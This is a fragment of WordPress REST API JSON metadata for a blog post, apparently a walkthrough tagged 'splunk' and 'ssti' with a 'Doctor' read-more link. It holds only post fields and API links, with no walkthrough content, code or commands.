Devam\u0131n\u0131 okuDoctor<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[611,610],"class_list":["post-1514","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-splunk","tag-ssti","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1514","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1514"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1514\/revisions"}],"predecessor-version":[{"id":1515,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1514\/revisions\/1515"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1514"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1514"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1514"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}